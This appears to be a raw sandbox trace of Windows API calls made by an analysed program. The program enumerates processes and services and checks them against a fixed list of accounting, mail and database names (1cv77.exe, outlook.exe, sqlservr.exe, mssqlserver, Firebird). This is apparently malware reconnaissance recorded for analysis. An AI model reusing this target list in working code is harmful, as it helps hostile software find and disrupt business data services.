	[0271.950] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0271.951] lstrlenW (lpString="wininit.exe") returned 11
	[0271.951] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0271.951] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0271.951] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0271.951] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0271.951] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0271.951] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0271.951] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0271.951] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0271.951] lstrlenW (lpString="csrss.exe") returned 9
	[0271.951] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0271.951] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0271.951] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0271.951] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0271.951] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0271.951] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0271.951] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0271.951] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0271.952] lstrlenW (lpString="winlogon.exe") returned 12
	[0271.952] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0271.952] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0271.952] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0271.952] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0271.952] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0271.952] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0271.952] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0271.952] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0271.952] lstrlenW (lpString="services.exe") returned 12
	[0271.952] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0271.952] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0271.952] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0271.952] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0271.952] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0271.952] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0271.952] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0271.952] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0271.953] lstrlenW (lpString="lsass.exe") returned 9
	[0271.953] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0271.953] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0271.953] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0271.953] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0271.953] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0271.953] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0271.953] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0271.953] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0271.953] lstrlenW (lpString="lsm.exe") returned 7
	[0271.953] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0271.953] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0271.953] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0271.953] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0271.953] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0271.953] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0271.953] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0271.953] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0271.953] lstrlenW (lpString="svchost.exe") returned 11
	[0271.954] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0271.954] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0271.954] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0271.954] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0271.954] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0271.954] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0271.954] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0271.954] lstrlenW (lpString="svchost.exe") returned 11
	[0271.954] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0271.954] lstrlenW (lpString="svchost.exe") returned 11
	[0271.954] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0271.955] lstrlenW (lpString="svchost.exe") returned 11
	[0271.955] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0271.955] lstrlenW (lpString="svchost.exe") returned 11
	[0271.955] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0271.955] lstrlenW (lpString="audiodg.exe") returned 11
	[0271.955] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0271.956] lstrlenW (lpString="svchost.exe") returned 11
	[0271.956] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0271.956] lstrlenW (lpString="userinit.exe") returned 12
	[0271.956] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0271.956] lstrlenW (lpString="explorer.exe") returned 12
	[0271.956] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0271.957] lstrlenW (lpString="dwm.exe") returned 7
	[0271.957] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0271.957] lstrlenW (lpString="svchost.exe") returned 11
	[0271.957] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0271.957] lstrlenW (lpString="swpesp.exe") returned 10
	[0271.957] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0271.957] lstrlenW (lpString="spoolsv.exe") returned 11
	[0271.957] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0271.958] lstrlenW (lpString="taskhost.exe") returned 12
	[0271.958] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0271.958] lstrlenW (lpString="svchost.exe") returned 11
	[0271.958] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0271.958] lstrlenW (lpString="reader_sl.exe") returned 13
	[0271.958] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0271.958] CloseHandle (hObject=0x35c) returned 1
	[0271.959] Sleep (dwMilliseconds=0x1f4) 
	[0272.719] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280950
	[0272.953] EnumServicesStatusExW (in: hSCManager=0x4280950, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0272.953] GetLastError () returned 0xea
	[0272.953] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe90) returned 0x41f5d68
	[0272.953] EnumServicesStatusExW (in: hSCManager=0x4280950, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xe90, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0272.953] CloseServiceHandle (hSCObject=0x4280950) returned 1
	[0272.953] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0272.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0272.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0272.954] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0272.954] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0272.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0272.954] lstrlenW (lpString="AudioSrv") returned 8
	[0272.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0272.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0272.954] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0272.954] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0272.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0272.954] lstrlenW (lpString="BFE") returned 3
	[0272.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0272.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0272.954] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0272.954] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0272.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0272.954] lstrlenW (lpString="CryptSvc") returned 8
	[0272.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0272.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0272.954] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0272.954] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0272.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0272.954] lstrlenW (lpString="CscService") returned 10
	[0272.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0272.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0272.954] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0272.954] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0272.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0272.954] lstrlenW (lpString="DcomLaunch") returned 10
	[0272.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0272.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0272.955] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0272.955] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0272.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0272.955] lstrlenW (lpString="Dhcp") returned 4
	[0272.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0272.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0272.955] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0272.955] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0272.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0272.955] lstrlenW (lpString="Dnscache") returned 8
	[0272.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0272.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0272.955] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0272.955] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0272.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0272.955] lstrlenW (lpString="DPS") returned 3
	[0272.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0272.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0272.955] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0272.955] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0272.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0272.955] lstrlenW (lpString="eventlog") returned 8
	[0272.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0272.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0272.955] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0272.955] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0272.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0272.955] lstrlenW (lpString="EventSystem") returned 11
	[0272.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0272.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0272.956] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0272.956] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0272.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0272.956] lstrlenW (lpString="gpsvc") returned 5
	[0272.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0272.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0272.956] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0272.956] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0272.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0272.956] lstrlenW (lpString="iphlpsvc") returned 8
	[0272.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0272.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0272.956] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0272.956] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0272.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0272.956] lstrlenW (lpString="LanmanServer") returned 12
	[0272.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0272.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0272.956] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0272.956] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0272.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0272.956] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0272.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0272.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0272.956] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0272.956] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0272.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0272.956] lstrlenW (lpString="lmhosts") returned 7
	[0272.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0272.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0272.957] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0272.957] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0272.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0272.957] lstrlenW (lpString="MMCSS") returned 5
	[0272.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0272.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0272.957] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0272.957] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0272.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0272.957] lstrlenW (lpString="MpsSvc") returned 6
	[0272.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0272.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0272.957] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0272.957] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0272.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0272.957] lstrlenW (lpString="NlaSvc") returned 6
	[0272.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0272.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0272.957] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0272.957] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0272.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0272.957] lstrlenW (lpString="nsi") returned 3
	[0272.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0272.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0272.957] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0272.957] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0272.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0272.957] lstrlenW (lpString="PcaSvc") returned 6
	[0272.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0272.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0272.958] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0272.958] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0272.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0272.958] lstrlenW (lpString="PlugPlay") returned 8
	[0272.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0272.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0272.958] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0272.958] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0272.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0272.958] lstrlenW (lpString="Power") returned 5
	[0272.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0272.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0272.958] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0272.958] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0272.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0272.958] lstrlenW (lpString="ProfSvc") returned 7
	[0272.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0272.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0272.958] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0272.958] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0272.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0272.958] lstrlenW (lpString="RpcEptMapper") returned 12
	[0272.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0272.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0272.958] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0272.958] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0272.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0272.958] lstrlenW (lpString="RpcSs") returned 5
	[0272.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0272.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0272.959] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0272.959] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0272.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0272.959] lstrlenW (lpString="SamSs") returned 5
	[0272.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0272.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0272.959] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0272.959] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
